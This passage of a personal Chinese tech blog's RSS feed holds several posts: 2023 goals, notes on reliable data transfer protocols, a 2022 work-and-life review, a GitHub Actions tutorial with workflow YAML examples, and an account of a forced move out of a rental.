&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python-guide.org/writing/structure/&quot;&gt;The Hitchhiker’s Guide to Python - Structuring Your Project&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.freecodecamp.org/news/how-to-write-a-good-readme-file/&quot;&gt;how to write a good readme file&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/evanwill/0207876c3243bbb6863e65ec5dc3f058&quot;&gt;add command to git bash&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>2023 新年愿望</title><link>https://reajason.eu.org/writing/2023annualgoals/</link><guid isPermaLink="true">https://reajason.eu.org/writing/2023annualgoals/</guid><pubDate>Mon, 02 Jan 2023 14:31:27 GMT</pubDate><content:encoded>&lt;h2&gt;Aspirations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[x] I aspire to learn about computer operating systems&lt;/li&gt;
&lt;li&gt;[ ] I am eager to refresh my knowledge of data structures and algorithms, and proficiently implement them in Java&lt;/li&gt;
&lt;li&gt;[x] I aspire to acquire knowledge in &lt;a href=&quot;https://www.rust-lang.org/&quot;&gt;Rust programming language&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[x] I long to learn both English and Japanese languages&lt;/li&gt;
&lt;li&gt;[ ] I wish to explore &lt;a href=&quot;https://unity.com/&quot;&gt;Unity game engine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[ ] I am interested in exploring &lt;a href=&quot;https://clojure.org/&quot;&gt;Clojure programming language&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Ambitions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[x] I aspire to join a superior team and learn cutting-edge technologies.&lt;/li&gt;
&lt;li&gt;[ ] I desire to revisit Universal Studios again, and enjoy some thrilling rollercoaster rides.&lt;/li&gt;
&lt;li&gt;[ ] I wish to develop a starter using SpringBoot based on Microsoft RESTFul guidelines.&lt;/li&gt;
&lt;li&gt;[x] I aspire to write more blogs, and share my learning and experiences.&lt;/li&gt;
&lt;li&gt;[ ] I desire to have my own podcast, and improve my speaking skills.&lt;/li&gt;
&lt;li&gt;[x] I wish to own the domain name reajason.com.&lt;/li&gt;
&lt;li&gt;[x] I long to explore the world, and not confine myself to a mundane job.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Breakthroughs&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[x] I hope to improve my communication skills with colleagues, and take a more proactive approach in my work.&lt;/li&gt;
&lt;li&gt;[x] I aspire to report problems to my superiors, and provide my own insights to help solve problems.&lt;/li&gt;
&lt;li&gt;[x] I aspire to not only acquire knowledge from books and videos but also to put it into practice through practical projects.&lt;/li&gt;
&lt;li&gt;[x] I wish to gain a deeper understanding of myself and discover my true purpose in life.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>TCP 可靠传输协议</title><link>https://reajason.eu.org/writing/tcpreliabledatatransferprotocol/</link><guid isPermaLink="true">https://reajason.eu.org/writing/tcpreliabledatatransferprotocol/</guid><pubDate>Thu, 29 Dec 2022 20:50:41 GMT</pubDate><content:encoded>&lt;h2&gt;rdt1.0&lt;/h2&gt;
&lt;h3&gt;假设前提&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;底层信道是完全可靠的&lt;/li&gt;
&lt;li&gt;发送速率等于接受速率，发送方发多少，接收方就能收多少&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;发送端&lt;/h3&gt;
&lt;p&gt;等待接收上层的数据（上层使用 &lt;code&gt;rdt_send(data)&lt;/code&gt; 函数调用给下层发送数据），收到上层数据之后，将数据打包成分组（使用 &lt;code&gt;make_pkt(data)&lt;/code&gt; ），将分组发送到信道上（&lt;code&gt;udt_send (packet)&lt;/code&gt;）。&lt;/p&gt;
&lt;h3&gt;接收端&lt;/h3&gt;
&lt;p&gt;从下层信道接收分组（通过 &lt;code&gt;rdt_rcv(packet)&lt;/code&gt; 事件），从分组中取出数据（&lt;code&gt;extract(packet, data)&lt;/code&gt;），并将数据传送给上层（ &lt;code&gt;deliver_data(data)&lt;/code&gt; ）。&lt;/p&gt;
&lt;h2&gt;rdt2.0&lt;/h2&gt;
&lt;p&gt;真实网络传输中分组中可能比特会出现差错，因此引入控制报文，&lt;strong&gt;肯定确认&lt;/strong&gt;（positive acknowledgment）和 &lt;strong&gt;否定确认&lt;/strong&gt;（negative acknowledgment）。这两个控制报文使得接收方让发送方知道哪些分组被正确接收，哪些分组有误需要重发。基于这种重传机制的 rdt 称为 &lt;strong&gt;自动重传请求（Automatic Repeat reQuest，ARQ）协议&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;ARQ 协议中使用三个协议功能来处理比特差错：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;差错检测。需要一种机制使接收方检测何时出现了比特差错。添加额外的比特，校验和（checksum）来检测并可能纠正分组比特的错误。&lt;/li&gt;
&lt;li&gt;接收方反馈。发送方要了解接收方情况的唯一途径就是让接收方提供明确的反馈信息给发送方。使用 ACK 和 NAK 。&lt;/li&gt;
&lt;li&gt;重传。接收方收到有差错的分组，发送方重传该分组&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;发送端&lt;/h3&gt;
&lt;p&gt;等待接收上层数据（ &lt;code&gt;rdt_send(data)&lt;/code&gt; ），收到数据时，将数据和校验和打包成分组（&lt;code&gt;nake_pkt(data,checksum)&lt;/code&gt;），然后将分组发送到信道上。&lt;/p&gt;
&lt;p&gt;如果收到 ACK 报文（&lt;code&gt;rdt_rcv(rcvpkt) &amp;amp;&amp;amp; isNAK(rcvpkt)&lt;/code&gt;），则回到等待上层调用的状态，继续监听上层数据的到来。&lt;/p&gt;
&lt;p&gt;如果收到 NAK 报文（&lt;code&gt;rdt_rcv(rcvpkt) &amp;amp;&amp;amp; isACK(rcvpkt)&lt;/code&gt;），则重发当前分组，并继续等待。&lt;/p&gt;
&lt;p&gt;这种等待接收方反馈的方式，称为 &lt;strong&gt;停等（stop-and-wait）协议&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;接收端&lt;/h3&gt;
&lt;p&gt;收到的分组如果是损坏的，则发送 NAK 报文。&lt;/p&gt;
&lt;p&gt;收到的分组如果是完好的，则发送 ACK 报文并将数据解包移交给上层处理。&lt;/p&gt;
&lt;h3&gt;缺陷&lt;/h3&gt;
&lt;p&gt;NAK 和 ACK 在传输过程中也有分组受损的可能性。&lt;/p&gt;
&lt;p&gt;解决办法是将数据分组进行编号，将 ACK 也添加校验和字段。&lt;/p&gt;
&lt;h2&gt;rdt3.0&lt;/h2&gt;
&lt;p&gt;底层信道除了比特差错外还会出现丢包情况。&lt;/p&gt;
&lt;p&gt;发送方设置一个时间值，来判断是否发生了丢包，如果这一段时间没有收到 ACK 即重发分组。虽然导致了 &lt;strong&gt;冗余数据分组&lt;/strong&gt;（duplicate data packet）的可能性，但分组编号机制能识别这种问题。&lt;/p&gt;
</content:encoded></item><item><title>2022 年度总结</title><link>https://reajason.eu.org/writing/2022annualsummary/</link><guid isPermaLink="true">https://reajason.eu.org/writing/2022annualsummary/</guid><pubDate>Sun, 11 Dec 2022 15:20:53 GMT</pubDate><content:encoded>&lt;h2&gt;学习上&lt;/h2&gt;
&lt;h3&gt;看了很多书&lt;/h3&gt;
&lt;p&gt;印象最深的当属《代码大全》，名称给人的感觉和里面写的完全不同，这本书让我了解到了编程也能有很多公式，了解代码设计以及软件工程，提高了我对高质量代码的追求以及系统设计的兴趣，以及对近况的不满，我应该学更多（you need more practise）。&lt;/p&gt;
&lt;p&gt;随后看了《代码整洁之道》、《重构：改善既有代码的设计》让我了解到了更多的编程公式，大量的资料供我产出自己的一套公式。&lt;/p&gt;
&lt;p&gt;实习期间看了《蛤蟆医生去看心理医生》，印象最深的是，一个人小时候所深处的环境，对于一个人的影响是最深远的。&lt;/p&gt;
&lt;p&gt;回顾了《软技能：代码之外的生存指南》，里面说营销自己，于是又开始写自己的博客，有想法 &lt;strong&gt;开启自己的播客时代&lt;/strong&gt;，记录自己的声音。&lt;/p&gt;
&lt;p&gt;看了《程序员的职业素养》，了解了如何成为一名专业的程序员，敢于说“不”......，无论我们从事任何一个领域，我们都应该构建我们自己的专业素养，你的行为你的言语透露着你是否专业。&lt;/p&gt;
&lt;p&gt;看了《计算机网络：自顶向下方法》，我知道了大学所学的《计算机网络》一书是多么的落后，视野也逐渐开阔了起来。&lt;/p&gt;
&lt;p&gt;看了《OnJava8》，发现作者对于 Java 的了解真的是太深了，自己的层次远远不够，不过目前方向有点迷茫，不太想走 Java 方向了。&lt;/p&gt;
&lt;p&gt;看了《Java测试驱动开发》，让我了解到了 TDD 的魅力，测试使代码的重构更加容易，引入新功能更加迅速，编写更加优雅的代码，这就是我渴望到达的一种境界。&lt;/p&gt;
&lt;p&gt;读了书之后，发现书读百遍，其意自现，书读一遍真的远远不够&lt;/p&gt;
&lt;h3&gt;看了很多视频&lt;/h3&gt;
&lt;p&gt;看了各大培训机构关于 Java，Spring，Mybatis 的课程&lt;/p&gt;
&lt;p&gt;跟着 coderwhy 老师看了 JS 高级，Vue3，目前也出了前端系统课，看了小程序部分。&lt;/p&gt;
&lt;p&gt;学了一个月的算法，又再一次尝到了算法的乐趣与乏味&lt;/p&gt;
&lt;p&gt;最近在看&lt;a href=&quot;https://www.bilibili.com/video/BV1Vt411X7JF&quot;&gt;【北京大学肖臻老师《区块链技术与应用》公开课】&lt;/a&gt;、&lt;a href=&quot;https://www.bilibili.com/video/BV1JV411t7ow&quot;&gt;【中科大郑烇、杨坚全套《计算机网络（自顶向下方法 第7版）》课程】&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;拓展自己的视野，以及巩固自己的基础，为了走得更远&lt;/p&gt;
&lt;h3&gt;听了博客&lt;/h3&gt;
&lt;p&gt;听了&lt;a href=&quot;https://keepcalm.banlan.show/&quot;&gt;《保持冷静》&lt;/a&gt;，有点喜欢他们的声音&lt;/p&gt;
&lt;p&gt;听了&lt;a href=&quot;https://podcasts.apple.com/cn/podcast/%E5%95%86%E4%B8%9A%E5%B0%B1%E6%98%AF%E8%BF%99%E6%A0%B7/id1552904790&quot;&gt;《商业就是这样》&lt;/a&gt;，了解一些商业行为逻辑&lt;/p&gt;
&lt;p&gt;听了&lt;a href=&quot;https://podcasts.apple.com/cn/podcast/%E6%95%85%E4%BA%8B-fm/id1256399960&quot;&gt;《故事FM》&lt;/a&gt;，听听其他人的故事，在脑海中过一种完全不同的人生&lt;/p&gt;
&lt;h2&gt;工作上&lt;/h2&gt;
&lt;h3&gt;转正了&lt;/h3&gt;
&lt;p&gt;实习了半年（2021-10 ~ 2022-04），终于是转正了，工资多了一点，终于是能应付房租和平时吃饭了，不用倒贴钱了。&lt;/p&gt;
&lt;h3&gt;同事们&lt;/h3&gt;
&lt;p&gt;和同事们相处得都比较融洽。自己的技术也得到了认可，还有同事劝我不要在这呆太久，会埋没了我的技术以及浇灭我的热情。（随着持续的工作压力，让我认识到了，小公司确实会为了持续的利益增长，不断地安排任务，并逼迫人加班（我不说，但是你任务没完成我就开会说你，甚至扣绩效）的丑陋模样）。为了避免开会被说，绝大多数的同事都会选择谎称自己任务完成了，于是陷入恶性循环，每周自己都在完成上周的任务，我不知道团队或项目什么时候会垮掉，我只知道这个团队非常的不健康。&lt;/p&gt;
&lt;h3&gt;项目改造&lt;/h3&gt;
&lt;p&gt;第一个改造项目是 OA 的样式调整，在刚转正没多久便开启了我的第一个比较长周期的任务（为期三个月）。我主要参与在前端工程师指定标准之后，对其他界面进行套用，调整一致的样式风格。这使我大致了解到了整个系统前端的模样，因为需要修改非常多的页面。在该项目进行中，基于 DataTable 框架，我写了几个工具函数，例如自动计算表格高度使其自适应占满整个屏幕、在页面关闭清空表格状态数据、etc.。基于 AdminLTE3 框架，我扩展了 Frame 一些工具方法，例如点击链接开启一个 tab 页、页面取消时关闭当前 tab 页、etc.。&lt;/p&gt;
&lt;p&gt;第二个改造项目是 OA 的合同改造（为期三个月吧，开发一个月，测试了两个月），基本算是我目前写过比较复杂的代码了。我主要参与前端创建合同页面的编写，将之前通过页面跳转的形式改造为页面 tab 切换页。其中 tab 页包含了合同基本信息、软件信息、硬件信息、服务信息、油站信息。业务复杂，HTML 写了 1k+，JS 写了 3k+，此次改造是基于 DataTable 框架，进行表单填写。由于我司 OA 项目基本由后端人员编写前端代码，质量非常堪忧，以至于做这一块的时候，我没有能借鉴的地方，基本全是查看官方文档进行的代码编写，这让我更爱看官方文档了。&lt;/p&gt;
&lt;h3&gt;项目维护&lt;/h3&gt;
&lt;p&gt;剑指 Offer 一书中说过，如果是做项目维护应该列出自己维护的 bug 以及解决问题的方式，那我简单列一下：&lt;/p&gt;
&lt;p&gt;到目前为止，一共处理了 62 个任务。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;知乎库 es 搜索显示有问题。1️⃣我发现测试没有 es 服务供测试，于是我在测试服务器 docker 安装了 es 服务，并写了接口将目前数据库的数据导入 es 中，供测试（这些人真神奇，没有测试环境还能上线，笑死）;2️⃣我发现搜索内容高亮和列表页内容显示有问题，我添加了内容关键字的高亮，以及对富文本的 html 代码进行过滤。&lt;/li&gt;
&lt;li&gt;添加字典缓存。1️⃣我发现 &lt;code&gt;@Cacheable&lt;/code&gt; 不起作用，经搜索发现是项目使用 shiro 框架导致的 bean 提前加载以致无法被代理；2️⃣由于项目已开启六年，基础设施的问题，改动工作量大，因此我放弃了声明式缓存，使用了编程式缓存自己写了缓存工具。&lt;/li&gt;
&lt;li&gt;写定时任务，处理百万数据的同步。1️⃣最开始我直接进行分页批量统计，当深分页到一定程度，每次查询需要一分钟，因此我换了解决方式，分而治之；2️⃣以油企为规模分离数据，再以时间每月分离数据，最后进行统计，因此每次统计的数据规模从百万降到了万，很快就同步完成了。&lt;/li&gt;
&lt;li&gt;六项基础数据的 curd。1️⃣我基于 mybatis plus 对 jdbctemplate 进行了 service 到 dao 层的封装；2️⃣分离实体类和 VO 类，查询参数就在实体类中，因此没有定义查询参数类；3️⃣接入 redis 实现编码的自增长；4️⃣前端抽象出了列表页类、编辑页类以及接口服务类，统一进行代码编写。不要重复自己，善用函数和类组织代码。&lt;/li&gt;
&lt;li&gt;还有一些简单的新增一些统计列表页、表单添加字段校验、登录密码进行二次加密 SM3 存储......&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;总结&lt;/h3&gt;
&lt;p&gt;工作难度是越来越大（不是任务本身的难度），项目管理是越来越拉。比如最近做的自定义表单审批的报销流程，只有产品抄的金蝶的云之家的原型，不做数据库设计，不做接口设计。直接 nm 写那 sb 代码，那能行吗，那肯定不行啊，小组长给我安排小程序的前端任务，还说了逆天的话，说我先写页面，不需要了解业务，接口问做接口开发的人要。这 nm 沟通成本太高了，搞这我还不如直接做前端开发切个图丢给开发人员，那才是真的不需要了解业务。这直接导致了我对项目管理的好奇，我直接大谢特谢，我又有新的东西要学。&lt;/p&gt;
&lt;p&gt;小组长，不参与代码的编写，只做任务的派发、code review 以及项目的运维，小组长自己也要忙其他项目的开发，没有时间统筹开发进度以及项目管理。code review 只有小组长一人，其他成员不参加，code review 功效少一大半。&lt;/p&gt;
&lt;p&gt;开发人员没有编写单元测试的习惯，以至于一个开发了六年的项目，只有零星的三四个测试类。代码质量完全由测试人员的黑盒测试进行保障，项目质量可见一斑。目前自己也在学习测试驱动开发，良好的测试对于项目来说重中之重。&lt;/p&gt;
&lt;p&gt;系统设计完全掌握在产品一人手上，产品不懂代码，不了解系统架构，只知道别人有的功能搬进来，不切实际，强行增加开发难度，以及开发成本，这一点，比起维护内部的 OA 系统，不如维护对外的产生利益的项目，至少那个会明确评估人天以及项目主要负责人会进行评判需求设计是否符合当前架构。&lt;/p&gt;
&lt;p&gt;早上上班不需要打卡，因此早上八点起来，做个午餐便当，骑单车去公司时间绰绰有余。晚上也有加班餐可以吃，可以吃完回来或加班，也可以打包回来，加班一般到 21 点可以走。&lt;/p&gt;
&lt;h2&gt;生活上&lt;/h2&gt;
&lt;h3&gt;骑车上下班&lt;/h3&gt;
&lt;p&gt;由于经常回家就十点了，没法锻炼身体，所以坚持每天上下班骑车，30+ 分钟的 7km 的路程。&lt;/p&gt;
&lt;h3&gt;开始做饭了&lt;/h3&gt;
&lt;p&gt;8 月份的时候，在妈帮我买了锅和冰箱之后，开启了我在出租房的做饭之旅。我现在会做基本的炒菜，辣椒炒肉（先不放油直接放锅里炒一下辣椒拿出来，再炒肉放辣椒）、咖喱饭(土豆块、辣椒片、胡萝卜块加洋葱)、莲藕炒肉、土豆丝、胡萝卜丝、土豆片炒肉、黄瓜炒火腿加鸡蛋、西红柿鸡蛋、炒河粉（先煎鸡蛋，再单独炒河粉，最后炒菜熟了之后一起放下去炒）、香菇炒肉、豆角炒肉、洋葱炒肉、蒜薹炒肉......&lt;/p&gt;
&lt;h3&gt;搬家了&lt;/h3&gt;
&lt;p&gt;9 月份由于政策的原因被迫搬离出租房，找到一间 2200 的次卧，基本每个月的工资全交房租了，不过终于有厨房了，不用蹲在地上炒菜了。（攒钱大业今年落空，就盼望着年终奖回去过年了）。&lt;/p&gt;
&lt;h3&gt;出去玩了&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;去了环球影城（霸天虎过山车座了三次，哈利波特的 5d 也玩了好几次）买了四十块钱一个的小黄人雪糕吃了&lt;/li&gt;
&lt;li&gt;去了动物园，看了熊猫&lt;/li&gt;
&lt;li&gt;去了北京舞蹈学院，和表妹一起吃了食堂的麻辣香锅&lt;/li&gt;
&lt;li&gt;去了国家图书馆，里面有很多最新的图书全能免费看，要是我在那附近就好了，我天天预约进去&lt;/li&gt;
&lt;li&gt;和群友面基了，他给我送了他家做了腊肠，非常好吃&lt;/li&gt;
&lt;li&gt;去了南锣古巷，王府井和高中同学一起吃了火锅&lt;/li&gt;
&lt;li&gt;去了西单大悦城恰了火锅&lt;/li&gt;
&lt;li&gt;去了昌平区龙脉温泉&lt;/li&gt;
&lt;li&gt;去了房山区十渡漂流&lt;/li&gt;
&lt;li&gt;逛了无数次超市......&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>GitHubActions</title><link>https://reajason.eu.org/writing/githubactions/</link><guid isPermaLink="true">https://reajason.eu.org/writing/githubactions/</guid><pubDate>Mon, 21 Nov 2022 14:12:03 GMT</pubDate><content:encoded>&lt;h2&gt;概述&lt;/h2&gt;
&lt;p&gt;GitHub Actions 是一种持续集成和持续交付 (CI/CD) 平台，可用于自动执行生成、测试和部署管道。我的理解，为 GitHub 项目进行自动化操作的工具，提供一个 Linux 系统对我们的代码进行运行、构建、发布等等。工作流在仓库的 &lt;code&gt;.github/workflows&lt;/code&gt; 下面定义，文件名为 &lt;code&gt;*.yml&lt;/code&gt;，每一个 &lt;code&gt;yml&lt;/code&gt; 文件一个工作流程。下面实例为一个简单的定时运行项目根路径下 &lt;code&gt;index.py&lt;/code&gt; 文件的实例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 这是完美校园打卡项目最初用 GitHub Actions 定时进行打卡的一个工作流程
name: 17wanxiaoCheckin # 工作流的名字

on:
  push:
    branches: [master] # 当往 master 上 push 代码的时候会触发当前工作流
  schedule:
    - cron: 0 22 * * * # cron 表达式，每天 22:00 运行当前工作流

jobs:
  build: # 当前 job 的名称
    runs-on: ubuntu-latest # 指定当前运行环境

    steps:
      - uses: actions/checkout@v2 # 检索出当前代码，即 clone 仓库代码到当前工作目录下

      - name: Pip
        run: pip3 install requests pycryptodome # 安装所需依赖

      - name: HealthyCheckIn
        run: python3 index.py # 运行脚本
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 当前工作流会生成三个 job 分别构建 python3.6、3.7、3.9 的包并上传到 Actions 下的构件列表，可供下载
name: auto-build

on:
  push:
    branches: master

jobs:
  build:
    strategy:
      matrix:
        python-version: [&apos;3.6&apos;, &apos;3.7&apos;, &apos;3.9&apos;]
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      - uses: actions/setup-python@v4 # 安装 Python 环境
        with:
          python-version: ${{ matrix.python-version }}

      - name: Pip Install # 安装所需依赖
        run: |
          python -m pip install --upgrade pip
          pip install -r requirements.txt -t .

      - name: Upload a Build Artifact # 上传构件
        uses: actions/upload-artifact@v3.1.1
        with:
          name: 17wanxiaoCheckin-CF.py${{ matrix.python-version }}
          path: ./
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;常用语法&lt;/h2&gt;
&lt;h3&gt;on&lt;/h3&gt;
&lt;p&gt;在 &lt;code&gt;on&lt;/code&gt; 下定义如何触发当前工作流程，具体的非常多。&lt;a href=&quot;https://docs.github.com/cn/actions/using-workflows/events-that-trigger-workflows&quot;&gt;参考文档&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;push&lt;/code&gt;，当 push 操作时触发&lt;/li&gt;
&lt;li&gt;&lt;code&gt;schedule&lt;/code&gt;，定时任务&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pull_request&lt;/code&gt;，当 PR 时触发&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;jobs&lt;/h3&gt;
&lt;p&gt;在 &lt;code&gt;jobs&lt;/code&gt; 下定义工作流任务，可以有多个。&lt;a href=&quot;https://docs.github.com/cn/actions/using-jobs/using-jobs-in-a-workflow&quot;&gt;参考文档&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;needs&lt;/code&gt;，确定 jobs 间的依赖，以下为确保顺序为 job1,job2,job3&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jobs:
  job1:
  job2:
    needs: job1
  job3:
    needs: [job1, job2]
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;if&lt;/code&gt;，为 true 才执行当前任务，在 &lt;code&gt;if&lt;/code&gt; 条件下使用表达式时，可以省略表达式语法 (&lt;code&gt;${{ }}&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;runs-on&lt;/h3&gt;
&lt;p&gt;指定当前任务所使用的计算机类型。&lt;a href=&quot;https://docs.github.com/cn/actions/using-jobs/choosing-the-runner-for-a-job&quot;&gt;参考文档&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;windows-latest&lt;/code&gt;：最新 windows 服务器镜像，Windows Server 2022&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ubuntu-latest&lt;/code&gt;：最新 Ubuntu 服务器镜像，Ubuntu 22.04&lt;/li&gt;
&lt;li&gt;&lt;code&gt;macos-latest&lt;/code&gt;：最新 Mac 服务器镜像，macOS Big Sur 11&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;steps&lt;/h3&gt;
&lt;p&gt;定义一个任务中每一步操作。&lt;a href=&quot;https://docs.github.com/cn/actions/learn-github-actions/contexts&quot;&gt;参考文档&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;name&lt;/code&gt;：当前步骤的名称&lt;/li&gt;
&lt;li&gt;&lt;code&gt;if&lt;/code&gt;：为真才执行当前步骤&lt;/li&gt;
&lt;li&gt;&lt;code&gt;uses&lt;/code&gt;：使用指定的 action 操作，&lt;a href=&quot;https://github.com/marketplace?type=actions&quot;&gt;marketplace&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;actions/checkout@v3&quot;&gt;actions/checkout@v3&lt;/a&gt;：检出代码&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;actions/setup-python@v4&quot;&gt;actions/setup-python@v4&lt;/a&gt;：安装 python 环境&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;softprops/action-gh-release@v0.1.14&quot;&gt;softprops/action-gh-release@v0.1.14&lt;/a&gt;： 发布 release&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/marketplace/actions/upload-a-build-artifact&quot;&gt;actions/upload-artifact@v3.1.1&lt;/a&gt;：上传构件&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;run&lt;/code&gt;：默认在所选操作系统内运行命令行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;working-directory&lt;/code&gt;：可指定当前 &lt;code&gt;run&lt;/code&gt; 后的命令所运行的工作目录&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sehll&lt;/code&gt;：设置 &lt;code&gt;run&lt;/code&gt; 所处的环境&lt;/li&gt;
&lt;li&gt;&lt;code&gt;with&lt;/code&gt;：设置 &lt;code&gt;uses&lt;/code&gt; 指定的 &lt;code&gt;action&lt;/code&gt; 所使用的输入参数&lt;/li&gt;
&lt;li&gt;&lt;code&gt;env&lt;/code&gt;：当前步骤所使用的环境变量&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;matrix&lt;/h3&gt;
&lt;p&gt;定义矩阵策略进行多维度自动化。&lt;a href=&quot;https://docs.github.com/cn/actions/using-jobs/using-a-matrix-for-your-jobs&quot;&gt;参考文档&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jobs:
  example_matrix: # 这个名字是 job id
    strategy:
      matrix:
        version: [10, 12, 14]
        os: [ubuntu-latest, windows-latest]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当前策略会以不同版本和操作系统执行 6 次任务，默认情况下，GitHub 将根据运行器的可用性将并行运行的作业数最大化，矩阵在每次工作流运行时最多将生成 256 个作业。可以使用 &lt;code&gt;matrix.version&lt;/code&gt; 和 &lt;code&gt;matrix.os&lt;/code&gt; 来访问作业正在使用的 &lt;code&gt;version&lt;/code&gt; 和 &lt;code&gt;os&lt;/code&gt; 的当前值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jobs:
  example_matrix:
    strategy:
      matrix:
        os: [ubuntu-22.04, ubuntu-20.04]
        version: [10, 12, 14]
    runs-on: ${{ matrix.os }}
    steps:
      - uses: actions/setup-node@v3

        with:
          node-version: ${{ matrix.version }}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;badge&lt;/h3&gt;
&lt;p&gt;添加工作流徽章，显示工作流执行结果状态。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https://github.com/&amp;lt;OWNER&amp;gt;/&amp;lt;REPOSITORY&amp;gt;/actions/workflows/&amp;lt;WORKFLOW_FILE&amp;gt;/badge.svg&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;例：&lt;a href=&quot;https://github.com/ReaJason/17wanxiaoCheckin/actions/workflows/main.yml/badge.svg&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;表达式&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;${{ &amp;lt;expression&amp;gt; }}&lt;/code&gt;，使用该语法获取表达式值，在 if 中会自动对表达式求值，因此在 if 中可不加 &lt;code&gt;${{}}&lt;/code&gt;。&lt;a href=&quot;https://docs.github.com/cn/actions/learn-github-actions/expressions&quot;&gt;参考文档&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;上下文变量，&lt;a href=&quot;https://docs.github.com/cn/actions/learn-github-actions/contexts&quot;&gt;参考文档&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;扩展阅读&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/cn/actions&quot;&gt;GitHub Actions 官方文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html&quot;&gt;GitHub Actions 入门教程 —— 阮一峰&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>突如其来政策</title><link>https://reajason.eu.org/writing/hardexperience/</link><guid isPermaLink="true">https://reajason.eu.org/writing/hardexperience/</guid><pubDate>Wed, 21 Sep 2022 19:55:55 GMT</pubDate><content:encoded>&lt;p&gt;9 月份以来，每次出门到村口那会时，就有一个广播一直播报着『三层及三层及以上不允许出租』。刚好我就住在三楼，由于上次也抓过这件事情，最后不了了之，所以我也没把这件事放在心上。不过到了快中旬的时候，隔壁以及对面都搬走了，三楼基本只剩我和两外一家了，我也还是没慌，和房东聊了聊，说是我找到新的住所也可以搬。&lt;/p&gt;
&lt;p&gt;9-18周日得知，9-20将进行强制搬离，我想这件事情搞大了，于是我开始找房子，和总监请了两天假（周一、周二）。我先是在村里面逛了一大圈，基本是没有房了，走在路上碰到热心的村民询问也和我说这边基本没了。&lt;/p&gt;
&lt;p&gt;18号在村委会前的公告牌找了一些房源信息，微信聊了有物业有中介，物业直租的就是煜都物业那边的酒店式公寓，那地方很偏，没有集市没有买菜的地方，非常不方便，而且房屋很贵，2300+往上走。基本全是新建的房，像是专门为了这次大清理做的一样，我突然就想起了，吃政策的红利，以我固执的心理，我是不可能让他们赚到我的钱的，所以我就说再找找就溜了。&lt;/p&gt;
&lt;p&gt;中介手里确实有几套还不错的房，不错的是位置，就在离上班不远的位置，上下班通勤非常方便。缺点就是中介费有点贵（一个月房租的钱），四居室的合租基本是不考虑的，人数太多，一个厕所根本不够用，上下班时间冲突就更加了。在豆瓣、小红书、抖音上找了一些，简单来说小红书上基本就是中介或者物业啥的，没有房东发房源在那上面，其他区域不知道，北京大兴黄村镇是真没有。抖音的话有房东但是参考价值不大，有很多村那种便宜的房但是距离实在是太遥远了。豆瓣因为之前也用过就挺熟悉的，也找了好几个房东聊了房子。&lt;/p&gt;
